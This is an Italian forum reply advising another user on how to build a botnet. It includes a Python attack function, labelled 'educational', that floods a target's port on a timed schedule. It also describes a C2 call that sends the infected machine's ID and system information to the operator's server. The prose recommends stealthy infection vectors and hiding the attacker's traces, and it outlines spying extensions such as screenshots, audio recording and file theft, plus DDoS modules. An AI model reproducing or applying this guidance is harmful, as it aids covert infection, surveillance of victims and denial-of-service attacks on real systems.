Proseguiamo per passi: innanzitutto, grazie per i complimenti, ma a me piace questa "materia", quindi quando scrivo non mi fermo piu' lol.
Poi:
Ti riporto il codice e ti spiego meglio:
Python:
"""
Perform the attack on the specified target's port at the given time.
"""
def attack(self, target, atkTime):
atkTimeStr = Util.formatTimeMS(atkTime)
print 'Going to attack Target @ %s:%d on ' \
% (target[0], target[1]) + atkTimeStr + '\n'
# account for the time difference between bot and master
waitTimeMilSecs = long(atkTime) - (Util.getCurrTime() + offset)
if waitTimeMilSecs < 0:
print 'Missed the attack :-('
return
print 'Sleeping for [msec]: ', waitTimeMilSecs
# wait
waitTimeSecs = float(waitTimeMilSecs)/1000
time.sleep(waitTimeSecs)
# wait complete, connect to target
print 'Connecting to Target @ %s:%d...' % (target[0], target[1])
targetSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
targetSocket.connect((target[0], target[1]))
print 'Connected'
# perform attack for 30 seconds
startTime = time.time()
timeout = 30
print 'Attacking for', timeout, 'seconds...'
while time.time() < startTime + timeout:
time.sleep(rate) # send message every second
Util.send(targetSocket, 'You\'re being attacked!!!')
print 'Attack finished'
targetSocket.close()
Questa e' la parte di una botnet in python "educativa" : io non cosniglio di uppare perche' maggiori precauzioni prese dopo un eventuale scoperta di essere stati infettati, potrebbe soltanto lasciare piu' tracce di cosa vogliamo fare, di cosa puntiamo e magari di noi stessi; Una buona prassi e' quella di integrare il "dosser" prprio all' interno del vettore di infezione in modo da evitare ulteriori problemi: se il tuo obbiettivo e' solo dossare e non fare null' altro, e' inutile lasciare tracce ed infettare con qualcosa che poi non sara' funzionale.
Il discorso cambia se invece la botnet la devi adottare piu' per "spionaggio" e solo eventualmente per ddos: in questo caso sarebbe bene creare un vettore di infezione che monitora le attivita' base della macchina infetta: esempio spento, accesso, connesso ad internet, che ora ha, timezone,cmd generale,upload e poc altro, poi adottare questo controllo "basico" della macchina per eseguire invece comandi piu' complessi attraverso delle estensioni, come quelle per gli screenshot, quelle per il ddos, quelle per il download di file da macchina ecc......
Qunto detto prima penso sia' la intro: come detto e' meglio stabilire un contatto diretto con un vettore gia' "armato" se si ha intenzione di eseguire azioni automatizzate e non vuoi accesso alla macchina in se' [nel senso non vuoi fare screen,audio record ecc.....], quindi puntare subito al sodo; Mentre nel caso in cui vuoi fare piu' "attivita' di spionaggio" e non hai un' idea precisa in mente, lla cosa migliore e' creare un vettore con comandi base che eviti di farsi scoprire e che adotti per operazioni piu' complesse delle "estensioni".
Questo lo imposti tu: le 2 alternative piu' valide sono
- Attraverso richieste GET/POST e script php nel server di ricezione delle informazioni: in parole povere, sarebbe come dire di fare una cosa del genere:
Python:
non mi fa' postare nulla..... command = requests.get(settings.SERVER_URL + "/api/pop?botid=" +id+infosistema+piattaforma+altri+dati
, in questo modo dicimo proprio come succede con le credenziali di un sito, solo che non viene interrogato un db, ma la macchina stessa allega le informazioni che invia poi al master.
- Attraverso socket di ricezione delle info: in questo caso la cosa e' praticamente la stessa, solo che non funge tramite richieste get e post ma tramiteflussi di dati fra master bot e bot zombie.
Allora, quello che hai detto e' impossibile lol, nel senso che mai tutti i bot di una botnet saranno attivi [almeno che non si usano dispositivi ioT]; Per quanto detto cio', si : le botnet si suddividono principalemnte in 3 modi: IRC, HTTP,HTTPS;
Le preferite [nel senso le piu' adottate] sono quelle HTTP: facili da usare, efficaci e piu' potenti di quelle IRC, piu' semplici da adottare delle HTTPS. Per quanto riguarda cio', poi ci sono vari attacchi ddos : udp, tcp ecc......., essi agiscono solo su alcuni protocolli, ma ti dico che HTTP e' il migliore [o almeno penso].
Per quanto detto, si: HTTP, poi che significa "limitato al word wild web" ??? I comandi come detto vengono impartiti tramite accesso generale al cmd dei bot o tramite altri escamotage: questi li devi trovare tu progettatore, come mail contenenti comandi ecc......
La porta ecc...., lo decidi sempre tu con il vettore: ti cosngilio di dare un' occhiata a qualche source, ti schiarisce molto le idee, e sono abbastanza semplici dato che l' 80% dei comandi sono: sysinfo, ls, dir, GET_['info'] ecc....
Io sinceramente non vedo da difficolta', in quanto php dovresti sfruttare post/get, quindi per forza web developer, mentre come dici tu, si' si potrebbe fare con i socket: fai un socket di ascolto/master bot, con menu' ricorsivo per scegliere quali estensioni/comandi dare ed hai fatto.
Per altre info sono sempre qui